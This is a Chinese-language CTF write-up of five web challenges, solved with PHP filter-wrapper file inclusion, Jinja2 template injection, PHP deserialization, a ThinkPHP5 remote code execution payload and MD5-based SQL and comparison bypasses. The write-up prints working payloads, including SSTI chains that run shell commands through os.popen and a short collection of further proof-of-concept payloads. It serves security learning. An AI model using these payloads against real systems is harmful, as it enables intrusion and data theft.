这是加入Nepnep战队之后的第一次刷题记录,由于要求刷题记录5题一篇文章,所以在这里做出一个改变

[ACTF2020 新生赛]Include

测试过程

打开环境之后,发现有个链接,点击一下
avatar

点击之后得到这样一个界面,发现URL上有一个file变量,可以判断是使用伪协议来进行来进行文件的读取
所以先常规查看一下index.php的内容
pyload:

1
php://filter/read=convert.base64-encode/resource=index.php

经过base64转码后得到index.php的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>

这段代码还是很简单的,就是利用了stristr函数来对几个常见的伪协议进行搜索,如果搜索到使用了这几个伪协议那就判断为hacker!

类似于正则,但是没有正则灵活吧

这里分析看到并没有过滤php://filter,所以直接使用读取flag.php
pyload:

1
php://filter/read=convert.base64-encode/resource=flag.php

得到flag,属于送分题类型

[BJDCTF 2nd]fake google

分析

这个题打开之后是个google搜索,随便在框内输入,然后点击搜索后,在页面看到了我输入的内容,发现没有什么东西,查看源码之后得到了提示:

1
<!--ssssssti & a little trick -->

这里不知道是什么意思,在网上搜索了之后发现是ssti注入

我这里参考了这篇文章
https://xz.aliyun.com/t/3679#toc-9

造成模板注入的原因与一般注入相同,都是渲染的模板可以受用户控制且过分相信了用户的输入而造成了模板注入

知识点

类似于这样的模板:

1
2
3
4
5
<html>

<div>{$what}</div>

</html>

$what会接受用户输入的值,例如用户输入xxx,那么这个模板经过渲染后就会变为
1
2
3
4
5
<html>

<div>xxx</div>

</html>

这样就是模板受用户控制

jiajia2的基本语法

1
2
3
4
5
6
{{config}}可以获取当前设置
{{self}}
{{self.__dict__._TemplateReference__context.config}} 同样可以看到config
{{}}为变量
{# #}为注释
{% %}内可以写代码

另外得知jiajia2貌似是基于flask框架的,所以再补充一下python的知识

1
2
3
4
5
6
__class__ 返回类型所属的对象
__subclasses__ 返回该对象所在类的子类
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__mro__ 返回该对象的所有类,包括父类
__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块

根据这些,以及参考的资料,首先对其进行测试

测试过程

pyload:

1
qaq?name={{2*2}}

avatar

验证了存在ssti注入
首先使用()配合空字符串,加上class来查看类

1
qaq?name={{().__class__}}

得到class ‘tuple’,成功之后在使用_bases_来查看继承的基类
1
qaq?name={{().__class__.__bases__}}

得到确实是所有类的父类

接下来选中object类,并且使用subclasses返回它的所有子类

1
qaq?name={{().__class__.__bases__[0].__subclasses__()}}

列出了所有子类,这里要找的是OS所在的warnings.catch_warnings类
发现在170个,索引就为169

1
qaq?name={{().__class__.__bases__[0].__subclasses__()[169]}}

选中后初始化这个类,并使用globals全局查看里面的方法
1
qaq?name={{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__}}

在这些方法中找到eval,并进行创建

1
qaq?name={{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__[%27eval%27]}}

接下来import OS ,并执行whoami命令查看是否可以运行
1
qaq?name={{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__[%27eval%27]("__import__(%27os%27).popen(%27whoami%27).read()")}}

得到了ctf,证明可以正常运行,接下来就cat /flag
1
qaq?name={{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__[%27eval%27]("__import__(%27os%27).popen(%27cat%20/flag%27).read()")}}

成功得到了flag

SSTI注入-POC收藏

另外还在网上看到了很多POC 这里收藏一下

1
2
3
4
5
6
第二种
或者找到os._wrap_close模块 117个
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}
当前文件夹
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
来打开文件,payload有很多慢慢摸索慢慢积累= =

1
2
第三种
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

1
2
3
4
第四种
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

[ZJCTF 2019]NiZhuanSiWei

分析

打开之后看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

可以看到需要text file和password三个参数满足条件,才会输出flag

先分析一下text参数
text参数先判断了是否存在,如果存在则使用file_get_contents($text,’r’)

查阅了一下百度,file_get_contents() 是把文件读入一个字符串,所以可得知,需要将welcome to the zjctf输入到文件中,然后进行查询,才能满足条件

file则是需要包含useless.php

password则是需要进行反序列化操作

所以先想到使用伪协议来将welcome to the zjctf读入到文件中,然后再使用伪协议读取useless.php的内容,猜测useless.php中的内容就是password需要的反序列化内容

这里伪协议做一个补充

知识点

PHP支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

常用的伪协议:

1
2
3
4
5
6
7
8
9
10
11
12
php://filter   //经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.
可以跟的参数有resource=<要过滤的数据流> read=<读链的筛选列表> write=<写链的筛选列表>
常用语句:php://filter/read=convert.base64-encode/resource=index.php read/write参数替换read的位置即可 resource为必须的参数

php://input //php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行

file:// //file://伪协议在双OFF的时候也可以用,用于本地文件包含 file://协议必须是绝对路径

phar:// //说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关
常用语句:phar://test.[zip/jpg/png…]/file.txt

data://text/plain;base64,base编码字符串 //很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

测试过程

这里有两种方法 一种是使用php://input,但是需要在POST请求下进行,比较繁琐,所以我这里采用了data协议

pyload:

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

接着看到

1
2
3
4
5
6
7
8
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}

看到了include 并且提示了useless.php 所以考虑使用文件包含,用PHP://filter来读取
pyload:
1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

获得了useless.php的base64 解码后得到源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

接下来看到password变量需要进行反序列化的一个操作
所以我们这里反序列化这个Flag类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}

$flag=new Flag();
$flag=serialize($flag);
echo $flag;
?>

输出结果为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

pyload:
1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后F12,得到flag

[BJDCTF 2nd]old-hack

分析

打开链接之后,并没有发现什么特别的,看到一个Powered By THINKPHP5

所以百度了一下THINKPHP5是什么东西

经过百度之后,查看到THINKPHP5是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,得知这是一个建站的框架

再加搜索 看到这一篇文章
https://www.codercto.com/a/54587.html

得知了考察的是任意代码执行漏洞

知识点

这里的知识点就是文章中提到的THINKPHP5.X版本的RCE

原来RCE离我那么近

测试过程

使用文章中的pyload进行测试
avatar

得到如图所示的界面,接下来pyload:

1
_method=__construct&filter[]=system&method=get&get[]=ls /

avatar

最后cat flag

1
_method=__construct&filter[]=system&method=get&get[]=cat /flag

得到flag

[BJDCTF2020]Easy MD5

分析

打开之后是个查询窗口,F12也没有什么提示,所以使用BP抓包一下,得到了hint
Hint: select * from ‘admin’ where password=md5($pass,true)

查询了一下md5($pass,true)

参考了这些文章:
https://blog.csdn.net/March97/article/details/81222922
https://www.jianshu.com/p/12125291f50d
https://www.cnblogs.com/tqing/p/11852990.html

知识点

1)经过md5加密后:276f722736c95d99e921722cf9ed621c

再转换为字符串:’or’6<乱码> 即 ‘or’66�]��!r,��b

2)在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true

3)ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,
而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是1select * from ‘admin’ where password=’’ or ‘6xxxxx’

等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

md5碰撞

1
2
3
4
5
6
7
8
9
10
以下值在md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0

===与!==

===是包括变量值与类型完全相等,而==只是复比较两个数的值是否相等。
比如:100==“100” 这里用==,因为它们制的值相等,都是知100,结果为道真
但是若用===,因为左边是一个整型而右边则是一个字符串类型的数,类型不相同所以结果为假

测试过程

直接构造pylioad

1
leveldo4.php?password=ffifdyop

得到代码

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->

分析源码发现是非常常规的md5碰撞或者可以采用数组

方法一:md5碰撞
pyload:

1
levels91.php?a=QNKCDZO&b=240610708

得到源码

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

这里由于使用了===和!== 所以只好使用数组来进行绕过
avatar

得到flag

方法二:数组
pyload:

1
levels91.php?a[]=1&b[]=2

后面的步骤与方法一相同 这里不再细说